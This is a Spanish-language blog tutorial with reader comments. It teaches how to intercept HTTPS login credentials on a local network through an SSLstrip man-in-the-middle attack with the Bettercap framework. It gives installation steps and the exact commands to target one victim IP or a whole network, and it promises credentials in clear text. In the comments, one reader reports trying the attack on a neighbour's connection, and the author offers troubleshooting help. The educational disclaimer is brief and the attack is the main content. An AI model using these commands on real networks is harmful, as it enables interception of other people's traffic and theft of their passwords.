Para empezar este 2017, os traigo un tutorial sobre cómo obtener las credenciales de sitios web que tengan cifrado SSL/TLS (HTTPS) mediante una técnica llamada SSLstrip y el uso de un framework para realizar ataques MITM (ataque de hombre en el medio) llamado Bettercap, en Internet, existen multitud de tutoriales para realizar este ataque pero aquí os enseñaré como realizarlo de una manera muy simple.

Este tutorial lo hago con fines educativos y sobre todo éticos, no me hago responsable del mal uso que podáis dar con lo aprendido aquí.

 

¿Qué son las páginas https? ¿Qué diferencias hay con las http?

 

Muchas veces, nos damos cuenta cuando accedemos a alguna web, que aparece un candado verde en la parte izquierda de la barra de direcciones, esto quiere decirnos, que nuestra conexión con el servidor es segura, es decir, el tráfico entre los dos puntos viaja cifrado.

Este tipo de páginas podemos encontrarlas en aquellas que requieran un nivel “extra” de seguridad debido a que en ellas se maneja información sensible como por ejemplo contraseñas, números de tarjeta de crédito o información confidencial.

Un ejemplo del uso de estas páginas pueden ser las web de los bancos, páginas dedicadas al comercio electrónico (tiendas online) o sitios populares como Google, Facebook o Twitter.

Podríamos decir que la diferencia entre https y http es que la información se envía cifrada para evitar que un tercero capture el tráfico y vea lo que en ella se envía, el trafico https puede ser de igual manera capturado que el tráfico http, pero no podríamos leer lo que contiene (en principio).

 

Bettercap y SSLstrip

Bettercap es un framework que se utiliza para realizar ataques MITM (Man In The Middle) o hombre en el medio, estos ataques consisten básicamente en interponerse entre 2 equipos para ver que datos se intercambian.

A continuación os dejo unos links por si queréis echar un vistazo más a fondo a esta estupenda herramienta.

Sitio ofical de Bettercap

GitHub de Bettercap

 

Pero, ¿con interponerme en mitad de la conexión es suficiente?

Como bien os había dicho anteriormente, simplemente interponiéndonos en la conexión entre 2 equipos no es suficiente, necesitamos hacer uso de SSLstrip para poder leer lo que en ella se envía, más adelante lo veremos, os dejo un enlace hacia esta herramienta creada por Moxie Marlinspike.

GitHub de SSLstrip

 

Instalación de Bettercap.

Para instalar Bettercap, abrimos un terminal con permisos de superusuario y escribimos:

 

  1. Instalación de dependencias
apt-get install build-essential ruby-dev libpcap-dev

2. Clonamos el repositorio a nuestro equipo.

git clone https://github.com/evilsocket/bettercap

3. Nos posicionamos en la carpeta del proyecto

cd bettercap

4. Construimos las gemas.

gem build bettercap.gemspec

5. Instalamos las gemas

gem install bettercap*.gem

Uso de Bettercap y SSLstrip

Bettercap ya trae un módulo para realizar ataques SSLstrip, por eso creo que esta es la manera más sencilla para realizar este ataque, si conocéis otra manera más rápida y efectiva de realizar este ataque, os invito a que podáis publicarlo a continuación de este artículo.

 

Abrimos una terminal y escribimos:

bettercap

 

Deberíamos de ver todos los dispositivos conectados a nuestra red, es hora de acordarnos de la IP de la víctima, que en mi caso sería la IP 192.168.100.251.

 

 

Una vez sabemos la IP de la víctima, inicializamos Bettercap de la siguiente manera:

bettercap -T [IP VÍCTIMA] --proxy -P POST

En mi caso quedaría de la siguiente manera: bettercap -T 192.168.100.251 –proxy -P POST

 

Si queremos que el ataque se realice a toda la red, simplemente no especificamos la IP de la víctima, y comenzará a captura todo el tráfico de red.

bettercap -T --proxy -P POST

 

Una vez la víctima acceda a cualquier página https (en este caso Facebook).

 

 

Podremos ver el tráfico descifrado, y por lo tanto, las credenciales en texto claro.

 

 

Un saludo a todos.

Happy Hacking!!!

 


Javier Olmedo

Consultor de Ciberseguridad, Técnico en Sistemas Informáticos y Técnico Superior en Desarrollo de Software, apasionado de la [In]Seguridad Informática.

28 commentarios

JuanG · sábado, 7 abril, 2018 a las 21:57

Bro entonces actualmente que tipos de ataque podemos hacer con esta herramienta?

Delvis · martes, 3 abril, 2018 a las 13:44

Bro entonces ya no sirve ?

    Javier Olmedo · jueves, 5 abril, 2018 a las 21:21

    Buenas Delvis,

    El ataque aún es efectivo, pero para webs que no implementen HSTS.

    Saludos,
    Gracias.

      woodmanndesign · jueves, 5 abril, 2018 a las 21:30

      en ested caso, para websites como facebook por ejemplo ya no seria valido ?

        Javier Olmedo · jueves, 5 abril, 2018 a las 21:34

        No, para Facebook ya no funciona, pues tienen implementado HSTS.
        Saludos!

      Anonimclock · jueves, 5 abril, 2018 a las 21:31

      En este caso para facebook, ya no seria valido este metodo o aun funciona ?

        Javier Olmedo · jueves, 5 abril, 2018 a las 21:35

        Ya no es válido para Facebook.
        Para web que tengan HTTPS sin HSTS si sería válido.

        Saludos!

Juan Mª Reina · jueves, 15 febrero, 2018 a las 16:35

Esto solo funciona si el proceso de autenticación es también accesible por http. Bettercap y SSLStrip hacen lo mismo: “degradan” una conexión HTTPS a su equivalente HTTP. Esto es factible si se dan dos cosas:
1- Existe la posibilidad de acceder a esa misma página por HTTP
2- El navegador no se da cuenta de que le han “cambiado el protocolo”.
Básicamente, estas dos cosas se pretenden evitar con HSTS.

    Javier Olmedo · jueves, 15 febrero, 2018 a las 16:40

    Buenas Juan,

    Como bien dices, si la web fuerza siempre a usar HTTPS (HSTS) este ataque no es efectivo.

    Saludos!!

ruben.ramiro · sábado, 9 diciembre, 2017 a las 12:12

Un post muy interesante, voy a unir esto a mi post https://ciberseguridad.blog/buenas-practicas-tls-ssl/ , y voy a intentar hacer las cositas que nos cuentas.

jmzc · miércoles, 30 agosto, 2017 a las 21:08

A mi capturar las credenciales Facebook sólo me ha funcionado si uso Facebook como proveedor de identidad ( oAuth , OpenID , etc )
Si accedo directamente usando la página de login/password , no me funciona.

Tampoco me funciona en otras páginas, como por ejemplo, GMX ( correo )

joan · domingo, 13 agosto, 2017 a las 21:04

por que mencionas sslstrip si luego no lo comentas en absoluto en este articulo?

joan · miércoles, 9 agosto, 2017 a las 18:03

Sin duda, ya no funciona ni el Facebook, ni Instragram, ni Gmail…. igual han cambiado su sistema de login https, pero os confirmo que no funciona ya.

En cambio, para webs y blogs sin httpS, sí funciona en cuestión de décimas de segundo.

saludos

Alexander · martes, 18 abril, 2017 a las 10:35

estimado he intentado realizar el ataque a mi propia conexion, a la conexion de mi vecino. en dispositivos con windows y en otros con android, pero luego del bettercap bettercap -T 192.168.0.23 –proxy -P POST . no me aparece nada, el metodo sigue funcionando aun ?. quedo atento a los comentarios he probado con dos redes sin obtener resultados en facebook por ejemplo. tambien probe enviar el ataque a toda la red.

Ezequiel · miércoles, 5 abril, 2017 a las 17:00

Buenas, me he descargado Kali 2016 e intentado realizar el tutorial pero me tira el siguiente error tras el primer paso:
apt-get install build-essential ruby-dev libpcap-dev
Que debo hacer?

    Ezequiel · miércoles, 5 abril, 2017 a las 17:04

    Perdon, me corrijo. El error es:
    “E: No se ha podido localizar el paquete libpcap-dev”

      Javier Olmedo · lunes, 1 mayo, 2017 a las 14:23

      Buenas Ezequiel,

      Posiblemente no lo hayas tecleado correctamente.
      Prueba a intentarlo de nuevo.

      Saludos.

antoni · sábado, 25 marzo, 2017 a las 08:05

creo que en las webs con hsts como Facebook ya no funciona

    Javier Olmedo · lunes, 1 mayo, 2017 a las 14:21

    Buenas Antoni,

    En la fecha que lo publiqué, creo recordar que Facebook no usaba HSTS y funcionó.

    Saludos.
    Gracias.

pitbull · viernes, 24 marzo, 2017 a las 16:58

Buenos días
Mira soy novato un en el tema pero quiero aprender.tengo un problema al comenzar la instalación de bettercp me salta este error…
El archivo o documento libpcap no se encuentra
Me puedes ayudar con eso gracias de antemano
Bendiciones y éxitos
El archivo o la ca

    Javier Olmedo · viernes, 24 marzo, 2017 a las 19:56

    Buenas,

    libpcap es una dependencia, debe instalarse antes de seguir con bettercap.
    Sigue al pie de la letra el tutorial e indicamé en que momento te da el error.

    Saludos.
    Gracias.

Sebastián · miércoles, 22 marzo, 2017 a las 23:21

Como es posible el descifrado sin que el navegador sospeche sobre la existencia de un mitm? Si la conexión de extremo a extremo no es de confianza el navegador alerta sobre un sitio sospechoso. Y segundo, no tienes la clave privada del certificado para validar tu personería. Con lo cual se me hace difícil de creer que esto sea tan fácil sin aceptar alguna condición de conexión sospechosa

    Javier Olmedo · jueves, 23 marzo, 2017 a las 19:30

    Buenas Sebastián,

    En este ataque no se ha tenido que aceptar ningún certificado falso ni el navegador advierte ningún tipo de alerta para que se sospeche por parte de la víctima.
    Puedes leer más sobre este ataque en los enlaces que hay publicados, para entender correctamente la manera como funciona SSLstrip.
    ¿Has realizado al pie de la letra el tutorial?

    Saludos.
    Gracias.

    KaliMero · lunes, 20 noviembre, 2017 a las 12:01

    Totalmente de acuerdo contigo. El tutorial parece un paseo pero la realidad es que sin certificado no hay nada que rascar. Cualquiera puede seguir ese tuto y comprobar que no funciona para conexiones HTTPS. Es más, hay otros tutoriales con pasos muy similares en el que la prueba se hace atacando un móvil Android y para el que ES NECESARIO aceptar un certificado en el teléfono para que funcione, lo que es lógico.

      Javier Olmedo · lunes, 20 noviembre, 2017 a las 12:11

      Buenos días KaliMero,

      No hace falta aceptar certificado, ya que SSLstrip “desvía” el trafico hacía http, es decir, en realidad no estamos descifrando el tráfico.
      Es posible que este ataque ya no funcione en algunas webs con HTTP Strict Transport Security o HTTP con Seguridad de Transporte Estricta (HSTS).
      Por otro lado, el tutorial está explicado paso por paso tal y como lo hice yo, coméntame en que paso exacto del tutorial te pide el certificado para poder ayudarte, ya que algo no estarás haciendo correctamente si lo pide.

      Saludos,
      Gracias.

Edwin · jueves, 26 enero, 2017 a las 21:03

esto bajo que linux puedo realizarlo, o si se puede realizar desde windows??

    Javier Olmedo · miércoles, 22 marzo, 2017 a las 19:24

    Buenas Edwin,

    Puedes realizarlo desde cualquier distribución Linux, se recomienda que uses una basada en Debian.

    Saludos.
    Gracias.

Deja tu comentario